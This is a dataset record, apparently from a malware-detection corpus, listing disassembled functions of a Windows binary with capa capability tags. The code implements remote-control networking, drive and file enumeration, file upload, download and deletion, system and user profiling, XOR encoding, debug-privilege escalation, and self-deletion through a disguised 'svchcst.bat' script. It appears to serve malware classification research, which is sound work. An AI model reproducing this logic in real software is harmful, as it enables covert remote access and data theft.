joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401500
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
sub esp, 0xf0
push ebx
push esi
mov ebx, ecx
push edi
mov ecx, 0x2d
xor eax, eax
lea edi, [esp + 0x45]
mov byte [esp + 0x44], 0
rep stosd dword es:[edi], eax
push 0
stosw word es:[edi], ax
call dword [sym.imp.MSVCRT.dll_time]
push eax
call dword [sym.imp.MSVCRT.dll_srand]
add esp, 8
mov ecx, ebx
call fcn.004014d0
mov ecx, 0x25
mov esi, 0x408010
lea edi, [esp + 0x44]
mov eax, dword [ebx + 0xc]
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [ebx + 0x10]
push 0
movsw word es:[edi], word [esi]
mov dword [esp + 0xde], eax
mov eax, dword [ebx + 4]
mov dword [esp + 0xe2], ecx
lea edx, [esp + 0x48]
lea esi, [ebx + 0x1c]
mov ecx, 6
lea edi, [esp + 0xe6]
push 0xb6
push edx
push eax
rep movsd dword es:[edi], dword [esi]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xb6
jne 0x4015e0
mov edx, dword [ebx + 4]
push 0
lea ecx, [esp + 0x1c]
push 0x2b
push ecx
push edx
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0x2b
jne 0x4015e0
cmp byte [esp + 0x18], 0x14
jne 0x4015e0
mov ecx, dword [esp + 0x27]
mov eax, dword [esp + 0x23]
lea esi, [ebx + 8]
lea edx, [esp + 0xc]
mov dword [esp + 0x10], ecx
push edx
mov ecx, esi
mov dword [esp + 0x10], eax
call fcn.00402a40
mov ecx, esi
call fcn.004029d0
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0xf0
ret
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0xf0
ret

Function at 0x4015f0
Capabilities:
Send data
Send data on socket

Disassembly:
push ecx
mov eax, dword [esp + 0xc]
push ebx
push ebp
push esi
lea ebx, [eax + 5]
push edi
mov dword [esp + 0x10], ecx
push ebx
call dword [sym.imp.MSVCRT.dll_malloc]
mov ebp, eax
add esp, 4
test ebp, ebp
jne 0x40161b
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
pop ecx
ret 8
mov dx, word [0x407208]
mov ecx, ebp
mov esi, dword [esp + 0x18]
lea edi, [ebp + 5]
mov word [ecx], dx
mov al, byte [0x40720a]
mov byte [ecx + 2], al
mov ecx, dword [esp + 0x1c]
mov edx, ecx
mov byte [ebp + 4], cl
mov eax, ecx
sar edx, 8
shr ecx, 2
mov byte [ebp + 3], dl
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
xor esi, esi
test ebx, ebx
jle 0x40167e
mov edi, dword [sym.imp.WS2_32.dll_send]
mov eax, dword [esp + 0x10]
mov ecx, ebx
sub ecx, esi
push 0
push ecx
mov ecx, dword [eax + 4]
lea edx, [esi + ebp]
push edx
push ecx
call edi
test eax, eax
jle 0x401610
add esi, eax
cmp esi, ebx
jl 0x40165f
push ebp
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
lea eax, [ebx - 5]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret 8
Function at 0x4016a0
Capabilities:
Receive data
Receive data on socket

Disassembly:
sub esp, 8
xor eax, eax
push ebx
push ebp
mov dword [esp + 9], eax
push esi
push edi
mov ebp, ecx
mov byte [esp + 0x10], 0
mov byte [esp + 0x15], al
xor ebx, ebx
mov edx, dword [ebp + 4]
push 0
lea ecx, [esp + ebx + 0x14]
push 1
push ecx
push edx
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x401741
inc ebx
cmp ebx, 5
jne 0x4016ba
mov ecx, 3
mov edi, 0x407208
lea esi, [esp + 0x10]
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
jne 0x4016ba
mov edi, dword [esp + 0x13]
mov ecx, dword [esp + 0x14]
and edi, 0xff
and ecx, 0xff
shl edi, 8
add edi, ecx
je 0x401741
cmp dword [esp + 0x20], edi
jb 0x401741
xor esi, esi
test edi, edi
jbe 0x401735
mov ebx, dword [esp + 0x1c]
mov ecx, dword [ebp + 4]
mov edx, edi
sub edx, esi
push 0
lea eax, [ebx + esi]
push edx
push eax
push ecx
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x401741
add esi, eax
cmp esi, edi
jb 0x401716
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret 8
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
add esp, 8
ret 8

Function at 0x4017b0
Capabilities:
Get socket status

Disassembly:
sub esp, 0x10c
push esi
mov esi, ecx
mov eax, dword [esi + 4]
cmp eax, 0xffffffff
jne 0x4017cb
xor eax, eax
pop esi
add esp, 0x10c
ret
mov dword [esp + 0x10], eax
lea eax, [esp + 4]
push eax
lea ecx, [esp + 0x10]
push 0
push ecx
push 0
push 0
mov dword [esp + 0x20], 1
mov dword [esp + 0x18], 0x78
mov dword [esp + 0x1c], 0
call dword [sym.imp.WS2_32.dll_select]
cmp eax, 0xffffffff
jne 0x40180c
xor eax, eax
pop esi
add esp, 0x10c
ret
mov eax, dword [esi + 4]
lea edx, [esp + 0xc]
push edx
push eax
call sub.WS2_32.dll___WSAFDIsSet
neg eax
sbb eax, eax
pop esi
neg eax
add esp, 0x10c
ret

Function at 0x401830
Capabilities:
Get socket status

Disassembly:
sub esp, 0x10c
push esi
mov esi, ecx
mov eax, dword [esi + 4]
cmp eax, 0xffffffff
jne 0x40184b
xor eax, eax
pop esi
add esp, 0x10c
ret
mov dword [esp + 0x10], eax
lea eax, [esp + 4]
push eax
push 0
lea ecx, [esp + 0x14]
push 0
push ecx
push 0
mov dword [esp + 0x20], 1
mov dword [esp + 0x18], 0x1e
mov dword [esp + 0x1c], 0
call dword [sym.imp.WS2_32.dll_select]
cmp eax, 0xffffffff
jne 0x40188c
xor eax, eax
pop esi
add esp, 0x10c
ret
mov eax, dword [esi + 4]
lea edx, [esp + 0xc]
push edx
push eax
call sub.WS2_32.dll___WSAFDIsSet
neg eax
sbb eax, eax
pop esi
neg eax
add esp, 0x10c
ret
Function at 0x4018c0
Capabilities:
Get disk information
Get disk size

Disassembly:
sub esp, 0x438
push ebx
push ebp
push esi
push edi
xor ebx, ebx
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x49]
mov byte [esp + 0x48], bl
mov dword [esp + 0x14], ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [0x4082d0]
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x10], eax
lea ebp, [esp + 0x48]
mov dword [esp + 0x18], 0x1a
lea ecx, [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 1
mov dword [esp + 0x20], eax
je 0x40199a
cmp eax, 2
jne 0x401934
push ebx
push ebx
push ebx
lea edx, [esp + 0x28]
push ebx
push edx
push ebx
lea eax, [esp + 0x28]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
test eax, eax
je 0x40199a
lea ecx, [esp + 0x10]
lea edx, [esp + 0x40]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [esp + 0x20]
mov dword [esp + 0x30], ebx
cmp eax, 3
mov dword [esp + 0x34], ebx
mov dword [esp + 0x28], ebx
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x38], ebx
mov dword [esp + 0x3c], ebx
jne 0x40197f
lea eax, [esp + 0x30]
lea ecx, [esp + 0x28]
push eax
lea edx, [esp + 0x3c]
push ecx
lea eax, [esp + 0x18]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
mov ecx, 0xa
lea esi, [esp + 0x20]
mov edi, ebp
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [esp + 0x14]
add ecx, 0x28
add ebp, 0x28
mov dword [esp + 0x14], ecx
mov cl, byte [esp + 0x10]
mov eax, dword [esp + 0x18]
inc cl
dec eax
mov byte [esp + 0x10], cl
mov dword [esp + 0x18], eax
jne 0x4018fd
mov eax, dword [esp + 0x14]
cmp eax, ebx
jle 0x4019e1
lea ecx, [esp + 0x48]
push eax
push ecx
mov ecx, dword [esp + 0x454]
call fcn.00401750
test eax, eax
jle 0x4019e1
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x438
ret
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x438
ret
Function at 0x4019f0
Capabilities:
Enumerate files on windows

Disassembly:
sub esp, 0x544
push esi
mov esi, dword [esp + 0x550]
test esi, esi
je 0x401b9b
mov al, byte [esi]
test al, al
je 0x401b9b
cmp al, 0x5c
je 0x401b9b
cmp al, 0x2f
je 0x401b9b
lea eax, [esp + 8]
push eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExA]
test eax, eax
je 0x401a64
test byte [esp + 8], 0x10
jne 0x401a43
xor eax, eax
pop esi
add esp, 0x544
ret
push str..
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [esp + 8]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 4], eax
jne 0x401a6e
xor eax, eax
pop esi
add esp, 0x544
ret
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
push ebp
push edi
xor ebp, ebp
test byte [esp + 0x14], 0x10
je 0x401aaa
mov esi, dword [sym.imp.KERNEL32.dll_lstrcmpA]
lea edx, [esp + 0x40]
push 0x4082d8
push edx
call esi
test eax, eax
je 0x401b23
lea eax, [esp + 0x40]
push 0x4082d4
push eax
call esi
test eax, eax
je 0x401b23
lea edi, [esp + ebp + 0x154]
mov ecx, 9
lea esi, [esp + 0x14]
add ebp, 0x24
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x40]
push ecx
call ebx
mov ecx, eax
lea esi, [esp + 0x40]
inc ecx
lea edi, [esp + ebp + 0x154]
mov edx, ecx
lea eax, [esp + 0x40]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call ebx
lea ebp, [eax + ebp + 1]
cmp ebp, 0x34a
jle 0x401b23
mov esi, dword [esp + 0x558]
lea ecx, [esp + 0x154]
push ebp
push ecx
mov ecx, esi
call fcn.00401750
test eax, eax
jle 0x401b42
lea edx, [esp + 0x154]
push 1
push edx
mov ecx, esi
call fcn.00401780
xor ebp, ebp
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0x14]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x401a79
mov esi, dword [esp + 0x558]
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_FindClose]
add ebp, 0x24
push 0x4082d4
lea eax, [esp + ebp + 0x158]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
add ebp, 3
lea ecx, [esp + 0x154]
push ebp
push ecx
mov ecx, esi
call fcn.00401750
pop edi
pop ebp
test eax, eax
pop ebx
jle 0x401b8e
lea edx, [esp + 0x148]
push 1
push edx
mov ecx, esi
call fcn.00401780
mov eax, 1
pop esi
add esp, 0x544
ret
mov eax, dword [esp + 0x54c]
push eax
call fcn.004018c0
add esp, 4
pop esi
add esp, 0x544
ret
Function at 0x401c80
Capabilities:
Write file on windows

Disassembly:
mov eax, 0x2008
call fcn.00405d00
mov eax, dword [esp + 0x2010]
push ebx
push ebp
push edi
push 0x408300
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov ebp, eax
add esp, 8
test ebp, ebp
je 0x401dbf
mov ecx, 0x7ff
xor eax, eax
lea edi, [esp + 0x15]
mov byte [esp + 0x14], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, dword [ebp + 0x10]
push ecx
call dword [sym.imp.MSVCRT.dll__filelength]
mov ebx, dword [esp + 0x201c]
add esp, 4
lea edx, [esp + 0x14]
mov ecx, ebx
push 4
push edx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x14], eax
call fcn.00401750
lea eax, [esp + 0x10]
push 4
push eax
mov ecx, ebx
mov dword [esp + 0x18], 0
call fcn.00401780
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0xc]
cmp ecx, eax
ja 0x401d24
push ebp
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
xor eax, eax
pop edi
pop ebp
pop ebx
add esp, 0x2008
ret
push esi
mov ecx, ebx
call fcn.00401830
test eax, eax
je 0x401d7f
lea edx, [esp + 0x18]
push 0x2000
push edx
mov ecx, ebx
call fcn.00401780
mov esi, eax
test esi, esi
jle 0x401d7f
push ebp
push esi
lea eax, [esp + 0x20]
push 1
push eax
call dword [sym.imp.MSVCRT.dll_fwrite]
push ebp
call dword [sym.imp.MSVCRT.dll_fflush]
mov edx, dword [esp + 0x24]
mov ecx, 0x800
xor eax, eax
lea edi, [esp + 0x2c]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x28]
add edx, esi
add esp, 0x14
cmp edx, eax
mov dword [esp + 0x10], edx
jb 0x401d25
push ebp
call dword [sym.imp.MSVCRT.dll_fclose]
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0x18]
add esp, 4
cmp ecx, eax
pop esi
push 4
jne 0x401db3
lea edx, [esp + 0x10]
mov ecx, ebx
push edx
call fcn.00401750
pop edi
pop ebp
mov eax, 1
pop ebx
add esp, 0x2008
ret
lea eax, [esp + 0x10]
mov ecx, ebx
push eax
call fcn.00401750
pop edi
pop ebp
xor eax, eax
pop ebx
add esp, 0x2008
ret
Function at 0x401dd0
Capabilities:
Read file on windows

Disassembly:
mov eax, 0x200c
call fcn.00405d00
mov eax, dword [esp + 0x2014]
push ebx
push ebp
push esi
push edi
push 0x408304
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov ebp, eax
add esp, 8
test ebp, ebp
jne 0x401e05
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x200c
ret
mov ecx, 0x800
xor eax, eax
lea edi, [esp + 0x19]
mov byte [esp + 0x18], 0
rep stosd dword es:[edi], eax
mov eax, dword [0x408820]
mov dword [esp + 0x14], 0x2000
test eax, eax
je 0x401e30
mov dword [esp + 0x14], 0x400
mov ecx, dword [ebp + 0x10]
push ecx
call dword [sym.imp.MSVCRT.dll__filelength]
mov ebx, dword [esp + 0x2024]
add esp, 4
lea edx, [esp + 0x18]
mov ecx, ebx
push 4
push edx
mov dword [esp + 0x20], eax
mov esi, eax
call fcn.00401750
lea eax, [esp + 0x10]
push 4
push eax
mov ecx, ebx
mov dword [esp + 0x18], 0
call fcn.00401780
mov eax, dword [esp + 0x10]
cmp eax, esi
jae 0x401ee3
push 0
push eax
push ebp
call dword [sym.imp.MSVCRT.dll_fseek]
add esp, 0xc
test eax, eax
jne 0x401ee3
test byte [ebp + 0xc], 0x10
jne 0x401ee3
mov ecx, ebx
call fcn.004017b0
test eax, eax
je 0x401ee3
mov ecx, dword [esp + 0x14]
push ebp
push ecx
lea edx, [esp + 0x20]
push 1
push edx
call dword [sym.imp.MSVCRT.dll_fread]
mov esi, eax
add esp, 0x10
test esi, esi
jbe 0x401ec5
lea eax, [esp + 0x18]
push esi
push eax
mov ecx, ebx
call fcn.00401750
test eax, eax
jle 0x401efd
mov ecx, dword [esp + 0x10]
xor eax, eax
add ecx, esi
lea edi, [esp + 0x18]
mov dword [esp + 0x10], ecx
mov ecx, 0x800
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
test byte [ebp + 0xc], 0x10
je 0x401e8d
push ebp
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x200c
ret
push ebp
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x200c
ret

Function at 0x401fd0
Capabilities:
Delete file

Disassembly:
mov eax, dword [esp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea ecx, [esp + 8]
push 1
push ecx
mov ecx, dword [esp + 0xc]
mov byte [esp + 0x10], 0
call fcn.00401750
ret
Function at 0x402210
Capabilities:
Get hostname
Get memory capacity
Get session user name
Query environment variable
Resolve dns

Disassembly:
sub esp, 0x574
push esi
push edi
mov ecx, 0xa8
xor eax, eax
lea edi, [esp + 0xd4]
mov dword [esp + 0x34], 0x9c
rep stosd dword es:[edi], eax
mov eax, dword [0x408710]
lea ecx, [esp + 0x34]
push ecx
mov byte [esp + 0xd8], 1
mov byte [esp + 0xd9], 1
mov dword [esp + 0xd4], eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x40228f
mov dl, byte [esp + 0x38]
mov al, byte [esp + 0x3c]
mov cl, byte [esp + 0x44]
mov byte [esp + 0xd6], dl
mov byte [esp + 0xd7], al
lea edx, [esp + 0x48]
lea eax, [esp + 0xec]
push edx
push eax
mov byte [esp + 0xe0], cl
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea edi, [esp + 0xec]
or ecx, 0xffffffff
xor eax, eax
push 0x104
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea esi, [esp + ecx + 0xf1]
push esi
mov dword [esp + 0x18], esi
call dword [sym.imp.WS2_32.dll_gethostname]
mov edi, dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x4022d6
push esi
call edi
test eax, eax
je 0x4022d6
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov eax, dword [edx]
mov dword [esp + 0xe4], eax
mov eax, dword [0x408820]
test eax, eax
je 0x402301
push 0x408824
call edi
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov ecx, dword [0x408844]
mov eax, dword [edx]
mov dword [esp + 0xe0], ecx
mov dword [esp + 0xdc], eax
push ebx
mov ebx, dword [sym.imp.MSVCRT.dll_rand]
push ebp
mov ebp, dword [sym.imp.MSVCRT.dll_srand]
xor esi, esi
test esi, esi
jle 0x402332
mov edi, esi
push esi
call ebp
add esp, 4
call ebx
cdq
mov ecx, 0xff
idiv ecx
dec edi
mov word [esp + 0x580], dx
jne 0x402317
inc esi
cmp esi, 0xff
jl 0x402311
lea edx, [esp + 0x14]
lea eax, [esp + 0x37c]
push edx
push eax
mov dword [esp + 0x1c], 0x104
mov byte [esp + 0xe9], 0xff
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
pop ebp
pop ebx
test eax, eax
je 0x402392
lea ecx, [esp + 8]
lea edx, [esp + 0x374]
push ecx
push 1
push edx
push 0
call sub.NETAPI32.dll_NetUserGetInfo
test eax, eax
jne 0x402392
mov eax, dword [esp + 8]
push eax
mov cl, byte [eax + 0xc]
mov byte [esp + 0xdd], cl
call sub.NETAPI32.dll_NetApiBufferFree
mov ecx, 7
xor eax, eax
lea edi, [esp + 0x18]
lea edx, [esp + 0x14]
mov dword [esp + 0x14], 0
push edx
rep stosd dword es:[edi], eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
mov eax, dword [esp + 0x1c]
mov esi, dword [esp + 0x10]
mov dword [esp + 0xe8], eax
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push 0x104
lea esi, [esi + ecx + 1]
push esi
push str.USERNAME
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
jne 0x4023f2
push str.SYSTEM
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0xec]
repne scasb al, byte es:[edi]
not ecx
dec ecx
sub esi, edx
lea eax, [ecx + esi + 0x1c]
lea ecx, [esp + 0xd0]
push eax
push ecx
mov ecx, dword [esp + 0x588]
call fcn.00401750
pop edi
mov eax, 1
pop esi
add esp, 0x574
ret
Function at 0x4029e0
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov ebx, ecx
push 0
call dword [sym.imp.MSVCRT.dll_time]
push eax
call dword [sym.imp.MSVCRT.dll_srand]
lea esi, [ebx + 4]
xor eax, eax
mov ecx, esi
add esp, 8
mov dword [ecx], eax
mov dword [ecx + 4], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, dword [esi]
mov edi, 0xfffffffc
xor ecx, eax
sub edi, ebx
mov ebx, dword [sym.imp.MSVCRT.dll_rand]
mov dword [esi], ecx
call ebx
mov dl, byte [esi]
xor dl, al
mov byte [esi], dl
inc esi
lea edx, [edi + esi]
cmp edx, 8
jl 0x402a1c
pop edi
pop esi
pop ebx
ret

Function at 0x402a70
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, dword [esp + 0xc]
xor eax, eax
test ebp, ebp
jle 0x402aa7
push ebx
push esi
push edi
mov edi, dword [esp + 0x14]
mov edx, 7
mov ebx, dword [ecx + 0xc]
and ebx, edx
mov esi, ebx
mov dword [ecx + 0xc], ebx
mov bl, byte [ecx + esi + 4]
xor byte [eax + edi], bl
mov ebx, dword [ecx + 0xc]
inc eax
inc ebx
cmp eax, ebp
mov dword [ecx + 0xc], ebx
jl 0x402a87
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x402ab0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, dword [esp + 0xc]
xor eax, eax
test ebp, ebp
jle 0x402ae7
push ebx
push esi
push edi
mov edi, dword [esp + 0x14]
mov edx, 7
mov ebx, dword [ecx + 0x10]
and ebx, edx
mov esi, ebx
mov dword [ecx + 0x10], ebx
mov bl, byte [ecx + esi + 4]
xor byte [eax + edi], bl
mov ebx, dword [ecx + 0x10]
inc eax
inc ebx
cmp eax, ebp
mov dword [ecx + 0x10], ebx
jl 0x402ac7
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x402b90
Capabilities:
Set socket configuration

Disassembly:
sub esp, 0x20
push esi
push edi
mov edi, dword [sym.imp.WS2_32.dll_setsockopt]
mov esi, ecx
lea eax, [esp + 8]
push 4
mov ecx, dword [esi + 4]
push eax
push 0x1002
push pe_overlay
push ecx
mov dword [esp + 0x20], 1
mov dword [esp + 0x1c], 0x8000
call edi
mov eax, dword [esi + 4]
lea edx, [esp + 8]
push 4
push edx
push 0x1001
push pe_overlay
push eax
mov dword [esp + 0x1c], 0x4000
call edi
mov edx, dword [esi + 4]
lea ecx, [esp + 0xc]
push 4
push ecx
push 8
push pe_overlay
push edx
call edi
test eax, eax
je 0x402c05
pop edi
xor eax, eax
pop esi
add esp, 0x20
ret 8
mov eax, dword [esp + 0x30]
mov ecx, dword [esp + 0x2c]
push 0
lea edx, [esp + 0x10]
mov dword [esp + 0x18], eax
push 0
push edx
mov edx, dword [esi + 4]
lea eax, [esp + 0x28]
mov dword [esp + 0x24], ecx
push 0xc
push eax
lea ecx, [esp + 0x24]
push 0xc
push ecx
push 0xe8000007
push edx
mov dword [esp + 0x34], 1
call dword [sym.imp.WS2_32.dll_WSAIoctl]
neg eax
sbb eax, eax
pop edi
inc eax
pop esi
add esp, 0x20
ret 8
Function at 0x403090
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x28
push edi
mov ecx, 7
xor eax, eax
lea edi, [esp + 0xd]
mov byte [esp + 0xc], 0
mov dword [esp + 8], 0x20
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 4]
push eax
push 0x20019
push 0
push str.SOFTWAREMicrosoftInternet_Explorer
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
pop edi
jne 0x403109
lea ecx, [esp + 4]
lea edx, [esp + 8]
push ecx
push edx
push eax
push eax
mov eax, dword [esp + 0x10]
push str.version
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x403109
mov ecx, dword [esp]
push esi
movsx esi, byte [esp + 0xc]
push ecx
sub esi, 0x30
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x28
ret
Function at 0x403c90
Capabilities:
Acquire debug privileges

Disassembly:
sub esp, 0x1c
lea eax, [esp]
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea ecx, [esp + 4]
push ecx
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov edx, dword [esp + 4]
mov eax, dword [esp + 8]
push 0
push 0
lea ecx, [esp + 0x14]
mov dword [esp + 0x18], edx
mov edx, dword [esp + 8]
push 0
push ecx
push 0
push edx
mov dword [esp + 0x24], 1
mov dword [esp + 0x30], 2
mov dword [esp + 0x2c], eax
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov eax, dword [esp]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
add esp, 0x1c
ret

Function at 0x403d30
Capabilities:
Create process on windows
Get common file path
Self delete
Terminate process

Disassembly:
sub esp, 0x600
lea eax, [esp]
push ebx
push esi
push edi
push 0x100
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 0xc]
push 0x100
lea edx, [esp + 0x10]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
lea eax, [esp + 0x10c]
push eax
push 0x100
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov edi, str.svchcst.bat
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x10c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x4085a0
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x110]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x403e17
mov edi, dword [sym.imp.MSVCRT.dll_fprintf]
push str.cls_n
push esi
call edi
push str.cls_n
push esi
call edi
lea ecx, [esp + 0x1c]
push ecx
push str.del___s__n
push esi
call edi
push str.del___0_n
push esi
call edi
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 0x28
lea edx, [esp + 0x10c]
push 0
push edx
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea eax, [esp + 0xc]
lea ecx, [esp + 0x20c]
push eax
push str.cmd__c_del___s_
push ecx
call dword [sym.imp.MSVCRT.dll_sprintf]
mov esi, dword [sym.imp.KERNEL32.dll_WinExec]
add esp, 0xc
lea edx, [esp + 0x20c]
push 0
push edx
call esi
lea eax, [esp + 0x20c]
push 0
push eax
call esi
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]